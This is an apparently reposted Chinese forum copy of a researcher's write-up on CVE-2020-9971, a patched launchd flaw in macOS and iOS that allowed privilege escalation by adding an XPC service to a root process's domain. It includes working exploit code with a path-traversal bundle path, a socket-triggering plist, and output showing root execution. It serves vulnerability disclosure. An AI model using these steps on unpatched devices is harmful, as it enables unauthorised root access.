搜索

[20467] 2021-01-13_CVE-2020-9971滥用XPC服务机制来提升macOSiOS中的特权

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-01-13_CVE-2020-9971滥用XPC服务机制来提升macOSiOS中的特权 C V E - 2 0 2 0 - 9 9 7 1 滥 用 X P C 服 务 机 制 来 提 升 m a c O S   /   i O S 中 的 特 权 Z h i p e n g   H u o   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 1 - 1 3 0 x 0   简 介 简 介                     在 这 篇 博 客 中 ， 我 将 详 细 介 绍 我 在 管 理 X P C 服 务 时 ， 在 l a u n c h d 进 程 中 发 现 的 一 个 有 趣 的 逻 辑 漏 洞 ， 它 很 容 易 被 利 用 ， 并 且 1 0 0 % 稳 定 地 获 得 m a c O S / i O S 的 高 权 限 。 这 个 漏 洞 很 容 易 被 利 用 ， 而 且 1 0 0 % 稳 定 ， 可 以 在 m a c O S / i O S 中 获 得 高 权 限 。 因 为   l a u n c h d   是 操 作 系 统 中 最 基 本 和 最 重 要 的 组 件 ， 即 使 在 最 严 格 的 应 用 沙 盒 中 ， 这 个 漏 洞 也 会 发 挥 作 用 。 该 漏 洞 应 该 在 m a c O S   B i g   S u r 和 i O S   1 3 . 5 之 前 就 能 使 用 。 0 x 1   X P C 服 务 服 务                         X P C   服 务 是 主 应 用 程 序 捆 绑 包 的   C o n t e n t s / X P C S e r v i c e s   目 录 下 的 一 个 捆 绑 包 。 你 可 能 不 知 道 它 ， 但 它 在 操 作 系 统 中 是 非 常 常 用 的 。 下 面 是 一 个 X P C 服 务 在 F a c e T i m e 应 用 程 序 中 的 例 子 。 X P C   服 务 由   l a u n c h d   管 理 ， 并 为 单 个 应 用 程 序 提 供 服 务 。 它 们 通 常 用 于 将 一 个 应 用 程 序 划 分 为 更 小 的 部 分 。 这 样 可 以 通 过 限 制 某 个 进 程 崩 溃 时 的 影 响 来 提 高 可 靠 性 ， 也 可 以 通 过 限 制 某 个 进 程 被 破 坏 时 的 影 响 来 提 高 安 全 性 。 这 里 的 X P C   S e r v i c e 应 该 与 众 所 周 知 的 L a u n c h D a e m o n 和 L a u n c h A g e n t 区 别 开 来 。 相 对 于 全 系 统 的 L a u n c h D a e m o n 和 全 登 录 用 户 的 L a u n c h A g e n t ， X P C   S e r v i c e 是 全 进 程 的 服 务 ， 只 能 由 指 定 的 应 用 程 序 启 动 和 调 用 。 从 m a c O S 开 发 者 的 角 度 来 看 ， 在 X c o d e 中 添 加 一 个 X P C 服 务 到 项 目 中 是 非 常 容 易 的 。
0 x 2   启 动 进 程 域 启 动 进 程 域                         如 前 所 述 ， X P C 服 务 是 由 l a u n c h d 管 理 的 。 l a u n c h d 是 如 何 将 X P C 服 务 限 制 在 指 定 的 进 程 中 的 呢 ？ 答 案 是   l a u n c h d   进 程 域 。                         进 程 域 就 像 一 个 命 名 空 间 ， 存 储 了 所 有 的 X P C   S e r v i c e 信 息 ， 这 些 信 息 只 能 由 其 所 有 者 进 程 获 取 和 修 改 。                         当 一 个 进 程 想 要 启 动 一 个 X P C   S e r v i c e 时 ， l a u n c h d 应 该 从 它 的 进 程 域 中 找 到 并 启 动 该 服 务 。 我 们 可 以 用   l a u n c h c t l   命 令 输 出 指 定   P I D   的 进 程 域 信 息 。 如 ： l a u n c h c t l   p r i n t   p i d / 1 2 9                       更 多 关 于 l a u n c h d 域 名 的 信 息 可 以 从 s a e l o 的 优 秀 演 讲 b i t s _ o f _ l a u n c h d 中 找 到 。 0 x 3   漏 洞 漏 洞                         关 于 进 程 域 ， l a u n c h c t l 用 法 有 这 样 的 描 述 。 " 只 有 拥 有 该 域 的 进 程 才 可 以 修 改 它 。 即 使 是 r o o t 也 不 能 这 样 做 。 "                         这 个 假 设 是 有 道 理 的 ， 因 为 一 个 进 程 域 应 该 只 有 它 的 所 有 者 进 程 才 能 使 用 。 如 果 一 个 进 程 可 以 修 改 其 他 进 程 的 域 ， 它 就 可 以 控 制 该 进 程 的 运 行 行 为 。 这 种 能 力 将 是 非 常 危 险 的 。 他 们 真 的 如 他 们 所 说 的 那 样 做 了 吗 ？
如 果 我 们 可 以 在 一 个 根 进 程 的 域 中 添 加 一 个 自 定 义 的 X P C 服 务 ， X P C 服 务 可 能 会 以 该 进 程 的 权 限 启 动 。 在 l a u n c h d 中 ， 每 个 域 类 型 都 有 其 访 问 检 查 功 能 。 让 我 们 来 看 看 在 大 苏 尔 之 前 的 m a c O S 中 ， 试 图 向 进 程 域 添 加 X P C   S e r v i c e 时 的 进 程 域 访 问 检 查 。 访 问 检 查 不 比 较 呼 叫 者 p i d 和 进 程 域 的 所 有 者 p i d 。 有 三 种 可 能 的 情 况 可 以 绕 过 访 问 检 查 。 添 加 的 X P C 服 务 存 在 于 目 标 进 程 的 子 目 录 中 。 调 用 者 用 户 是 r o o t 。 s a n d b o x _ c h e c k _ b y _ a u d i t _ t o k e n ( " f o r b i d d e n - l a u n c h d - c o n t r o l " ,   S A N D B O X _ C H E C K _ N O _ R E P O R T )   = =   0 。 如 果 我 们 能 够 满 足 其 中 任 何 一 个 条 件 ， 我 们 就 可 以 在 进 程 域 中 添 加 一 个 X P C 服 务 。 对 于 条 件 3 ， 使 用 a p i   s a n d b o x _ c h e c k _ b y _ a u d i t _ t o k e n 来 检 查 带 有 这 个 a u d i t _ t o k e n 的 进 程 是 否 在 沙 盒 中 ， 如 果 不 在 ， 就 会 返 回 0 。 也 就 是 说 ， 不 在 沙 盒 中 的 进 程 可 以 在 其 他 进 程 域 中 添 加 自 定 义 X P C 服 务 。 对 于 条 件 1 ， 如 何 检 查 进 程 的 子 目 录 中 是 否 有 X P C 服 务 。 这 段 代 码 只 是 检 查 字 符 串 的 起 始 部 分 ， 所 以 它 可 能 会 受 到 路 径 遍 历 问 题 的 影 响 。 如 果 我 们 可 以 向 这 个 访 问 检 查 函 数 传 递 一 个 包 含 . / 的 路 径 ， 我 们 就 可 以 绕 过 检 查 ， 即 使 在 最 受 限 制 的 应 用 程 序 沙 盒 中 也 可 以 将 自 定 义 的 X P C 服 务 添 加 到 进 程 域 中 。 0 x 4   漏 洞 漏 洞         到 目 前 为 止 ， 我 们 已 经 知 道 ， 我 们 可 能 会 在 其 他 进 程 域 中 添 加 一 个 自 定 义 的 X P C 服 务 。 我 们 将 利 用 它 来 提 升 权 限 。                 首 先 ， 我 们 需 要 找 到 一 个 可 用 的 目 标 进 程 域 。                 在 m a c O S 中 ， 有 很 多 r o o t 权 限 的 进 程 都 有 进 程 域 。 在 这 里 ， 我 使 用 了 / u s r / s b i n / s y s t e m s o u n d s e r v e r d 。         b o o l   _ _ f a s t c a l l   s u b _ 1 0 0 0 0 B 4 4 0 ( c h a r   * a 1 ,   c h a r   * a 2 ) {   s i z e _ t   v 2 ;   / /   r a x   v 2   =   s t r l e n ( a 2 ) ;   r e t u r n   s t r n c m p ( a 1 ,   a 2 ,   v 2 )   = =   0 ; }
        我 们 可 以 用 命 令 行 来 输 出 域 名 信 息 ： s u d o   l a u n c h c t l   p r i n t   p i d / 3 0 8         对 于 开 发 者 来 说 ， 不 需 要 显 式 的 创 建 进 程 域 ， 也 不 需 要 将 X P C 服 务 添 加 到 域 中 去 ， l i b x p c 框 架 会 隐 式 的 为 我 们 完 成 所 有 初 始 化 阶 段 的 工 作 。 在 初 始 化 阶 段 ， l i b x p c 框 架 会 隐 式 的 为 我 们 做 所 有 的 工 作 ， 但 是 在 l i b x p c . c o m 中 仍 然 有 一 个 a p i x p c _ a d d _ b u n d l e s _ f o r _ d o m a i n 。                 然 而 ， 在 l i b x p c . d y l i b 中 仍 然 有 一 个 a p i   x p c _ a d d _ b u n d l e s _ f o r _ d o m a i n ， 可 以 用 来 添 加 X P C 服 务 到 指 定 的 进 程 域 。 当 然 ， 你 也 可 以 使 用 低 级 别 的 X P C 消 息 ， 甚 至 是 M A C H 消 息 ， 通 过 b o o t s t r a p 端 口 与 l a u n c h d 进 行 通 信 。                 在 这 里 ， 我 试 图 通 过 路 径 遍 历 的 问 题 ， 将 一 个 放 置 在 e x p l o i t 应 用 程 序 同 一 目 录 下 的 自 定 义 X P C 服 务 添 加 到 一 个 s y s t e m s o u n d s e r v e r d 进 程 域 中 。 完 成 后 ， 我 们 可 以 在 目 标 进 程 域 输 出 X P C 服 务 信 息 。 l a u n c h c t l   p r i n t   p i d / 3 0 8 / c o m . r 3 d f 0 9 . t e s t . t e s t X P C 产 出 是 ： c o m . a p p l e . x p c . l a u n c h d . d o m a i n . p i d . s y s t e m s o u n d s e r v e r d . 3 0 8   =   {     t y p e   =   p r o c e s s     h a n d l e   =   3 0 8     a c t i v e   c o u n t   =   1 1     o n - d e m a n d   c o u n t   =   1     s e r v i c e   c o u n t   =   1 0     a c t i v e   s e r v i c e   c o u n t   =   0     a c t i v i t y   r a t i o   =   0 . 0 0     o r i g i n a t o r   =   / u s r / s b i n     c r e a t o r   =   s y s t e m s o u n d s e r v . 3 0 8     c r e a t o r   e u i d   =   0     u n i q u e i d   =   3 0 8     e x t e r n a l   a c t i v a t i o n   c o u n t   =   0     s e c u r i t y   c o n t e x t   =   {         u i d   u n s e t         a s i d   =   1 0 0 0 0 0     }     . . . } x p c _ o b j e c t _ t   p i d _ d i c t   =   x p c _ d i c t i o n a r y _ c r e a t e ( N U L L ,   N U L L ,   0 ) ; x p c _ d i c t i o n a r y _ s e t _ i n t 6 4 ( p i d _ d i c t ,   " p i d " ,   3 0 8 ) ;       / /   t a r g e t   p r o c e s s   d o m a i n N S S t r i n g *   m a i n B u n d l e P a t h   =   [ [ N S B u n d l e   m a i n B u n d l e ]   b u n d l e P a t h ] ; N S S t r i n g *   b u n d l e P a t h   =   [ N S S t r i n g   s t r i n g W i t h F o r m a t : @ " / u s r / s b i n / . . / . . % @ / . . / t e s t X P C . x p c " ,   m a i n B u n d l e P a t h ] ;   x p c _ o b j e c t _ t   x p c _ b u n d l e   =   x p c _ s t r i n g _ c r e a t e ( [ b u n d l e P a t h   U T F 8 S t r i n g ] ) ; x p c _ o b j e c t _ t   p a t h s   =   x p c _ a r r a y _ c r e a t e ( & x p c _ b u n d l e ,   1 ) ;     / /   X P C   S e r v i c e s   p a t h x p c _ a d d _ b u n d l e s _ f o r _ d o m a i n ( p i d _ d i c t ,   p a t h s ) ; c o m . r 3 d f 0 9 . t e s t . t e s t X P C   =   {     a c t i v e   c o u n t   =   0     c o p y   c o u n t   =   0
        我 们 可 以 看 到 ， 我 们 的 X P C 服 务 被 添 加 到 s y s t e m s o u n d s e r v e r d 的 进 程 域 。                 但 是 ， 我 们 的 工 作 还 没 有 完 成 !                 这 个 X P C 服 务 的 状 态 是 等 待 ， 暂 时 没 有 启 动 !                 X P C 服 务 是   " 按 需 启 动   " 的 。 只 有 当 一 个 应 用 程 序 创 建 了 与 服 务 的 连 接 并 向 其 发 送 消 息 时 ， 它 们 才 会 被 启 动 。                 虽 然 我 们 可 以 在 一 个 根 进 程 域 中 添 加 一 个 自 定 义 的 X P C 服 务 ， 但 是 我 们 无 法 控 制 该 根 进 程 使 用 我 们 的 服 务 。         我 们 需 要 找 到 一 个 可 行 的 方 法 来 启 动 它 !                 从 m a n   l a u n c h d . p l i s t 中 ， 我 们 知 道 一 个 服 务 可 以 监 视 一 个 文 件 路 径 或 者 监 听 一 个 s o c k e t 。                 在 这 里 ， 我 通 过 在 X P C 服 务 的 p l i s t 文 件 中 添 加 S o c k e t s 信 息 ， 让 X P C 服 务 监 听 一 个 s o c k e t 端 口 。 我 们 可 以 看 我 们 的 自 定 义 X P C 服 务 在 9 9 9 9 端 口 监 听 。     o n e   s h o t   =   0     p a t h   =   / U s e r s / r 3 d f 0 9 / D e s k t o p / t e s t X P C . x p c     s t a t e   =   w a i t i n g     b u n d l e   i d   =   c o m . r 3 d f 0 9 . t e s t . t e s t X P C     b u n d l e   v e r s i o n   =   1     p r o g r a m   =   / U s e r s / r 3 d f 0 9 / D e s k t o p / t e s t X P C . x p c / C o n t e n t s / M a c O S / t e s t X P C     i n h e r i t e d   e n v i r o n m e n t   =   {         P A T H   = >   / u s r / b i n : / b i n : / u s r / s b i n : / s b i n     }     . . . } < k e y > L a u n c h P r o p e r t i e s < / k e y > < d i c t >     < k e y > S o c k e t s < / k e y >     < d i c t >         < k e y > L i s t e n e r s < / k e y >         < d i c t >             < k e y > S o c k S e r v i c e N a m e < / k e y >             < s t r i n g > 9 9 9 9 < / s t r i n g >             < k e y > S o c k T y p e < / k e y >             < s t r i n g > s t r e a m < / s t r i n g >         < / d i c t >     < / d i c t > < / d i c t > < k e y > X P C S e r v i c e < / k e y > < d i c t >     < k e y > S e r v i c e T y p e < / k e y >     < s t r i n g > A p p l i c a t i o n < / s t r i n g > < / d i c t >
我 们 也 可 以 通 过 l a u n c h d 检 查 网 络 端 口 9 9 9 9 是 否 处 于 监 听 状 态 。 任 何 对 这 个 套 接 字 端 口 的 连 接 都 会 使   l a u n c h d   进 程 以   r o o t   权 限 启 动 我 们 的   X P C   服 务 。 0 x 5   苹 果 的 补 丁 苹 果 的 补 丁                 要 修 复 这 个 漏 洞 并 不 难 ， 只 要 保 证 只 有 进 程 域 的 所 有 者 才 能 修 改 就 可 以 了 。                 为 了 做 到 这 一 点 ， l a u n c h d 进 程 域 访 问 检 查 函 数 现 在 获 取 调 用 者 进 程 的 a u d i t _ t o k e n ， 并 始 终 检 查 调 用 者 p i d 是 目 标 进 程 域 的 所 有 者 。 c o m . r 3 d f 0 9 . t e s t . t e s t X P C   =   {     . . .     s o c k e t s   =   {         " L i s t e n e r s "   =   {             t y p e   =   s t r e a m             s e r v i c e   n a m e   =   9 9 9 9             s o c k e t s   =   {                 4 0   ( n o   b y t e s   t o   r e a d )                 4 5   ( n o   b y t e s   t o   r e a d )             }             a c t i v e   =   0             p a s s i v e   =   1             b o n j o u r   =   0             i p v 4 v 6   =   0             r e c e i v e _ p a c k e t _ i n f o   =   0         }     }     . . . } A c t i v e   I n t e r n e t   c o n n e c t i o n s   ( i n c l u d i n g   s e r v e r s ) P r o t o   R e c v - Q   S e n d - Q     L o c a l   A d d r e s s                     F o r e i g n   A d d r e s s                 ( s t a t e )         t c p 4               0             0     * . 9 9 9 9                                   * . *                                         L I S T E N           t c p 6               0             0     * . 9 9 9 9                                   * . *                                         L I S T E N           u d p 4               0             0     * . *                                         * . *                                                               u d p 4               0             0     * . 5 6 1 2 4                                 * . * r 3 d f 0 9 @ r 3 d f 0 9 s - M a c   ~   %   p s   - A   |   g r e p   t e s t     6 3 8   ? ?                   0 : 0 0 . 0 1   / U s e r s / r 3 d f 0 9 / D e s k t o p / t e s t X P C . x p c / C o n t e n t s / M a c O S / t e s t X P C     6 4 3   t t y s 0 0 0         0 : 0 0 . 0 0   g r e p   t e s t r 3 d f 0 9 @ r 3 d f 0 9 s - M a c   ~   %   p s   - p   6 3 8   - o   u i d , p i d     U I D       P I D         0       6 3 8
0 x 6   关 于 关 于 i O S         上 面 讲 的 主 要 是 基 于 m a c O S 的 。 我 知 道 大 多 数 人 都 比 较 关 心 i O S 。                 i O S 和 m a c O S 几 乎 共 享 相 同 的 l a u n c h d 代 码 。 所 以 ， i O S 上 确 实 存 在 这 个 漏 洞 ， 它 也 存 在 路 径 遍 历 的 问 题 。                 在 我 向 苹 果 公 司 报 告 了 这 个 漏 洞 后 ， 他 们 立 即 秘 密 更 改 了 i O S   1 3 . 5 中 获 取 X P C 服 务 路 径 的 方 法 。                 在 i O S   1 3 . 5 之 前 ， 它 使 用 x p c _ b u n d l e _ g e t _ p a t h 来 获 取 X P C   S e r v i c e 的 路 径 。 这 个 a p i 会 返 回 原 来 的 输 入 路 径 包 含 . . . /           从 i O S   1 3 . 5 开 始 ， 他 们 把 这 个 a p i 改 成 了 属 性 类 型 为 2 的 x p c _ b u n d l e _ g e t _ p r o p e r t y ， 这 个 a p i 会 返 回 X P C   S e r v i c e 的 真 实 路 径 ， 而 不 包 含 . / 。 这 个 改 变 试 图 禁 止 使 用 路 径 遍 历 问 题 来 绕 过 访 问 检 查 。 如 果 X P C   S e r v i c e 在 目 标 进 程 的 子 目 录 下 ， 仍 然 允 许 将 X P C S e r v i c e 添 加 到 其 他 进 程 域 。                 从 i O S   1 4 . 0 开 始 ， 他 们 终 于 开 始 检 查 调 用 者 进 程 是 否 是 进 程 域 的 所 有 者 。                 虽 然 在 i O S 中 ， 开 发 者 是 不 允 许 直 接 使 用 X P C   S e r v i c e 的 。 苹 果 自 己 在 很 多 高 权 限 进 程 中 使 用 它 。                 不 难 找 到 一 些 有 用 的 目 标 。 比 如 ， / u s r / s b i n / w i f i d 或 者 / u s r / s b i n / m e d i a s e r v e r d   。                 顺 便 说 一 下 ， 关 于 这 个 漏 洞 的 信 息 最 近 在 2 0 2 0 年 1 2 月 1 5 日 添 加 到 i O S   1 4 . 0 安 全 内 容 中 。 0 x 7   结 束 语 结 束 语           对 于 开 发 者 和 普 通 用 户 来 说 ， X P C 服 务 很 容 易 开 发 和 使 用 。 它 对 我 们 来 说 几 乎 是 透 明 的 。 但 是 ， 它 的 内 部 机 制 如 此 复 杂 ， 一 定 有 很 多 有 趣 的 逻 辑 b u g 存 在 。 参 考 文 献 ： h t t p s : / / x l a b . t e n c e n t . c o m / e n / 2 0 2 1 / 0 1 / 1 1 / c v e - 2 0 2 0 - 9 9 7 1 - a b u s i n g - x p c - s e r v i c e - t o - e l e v a t e - p r i v i l e g e /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理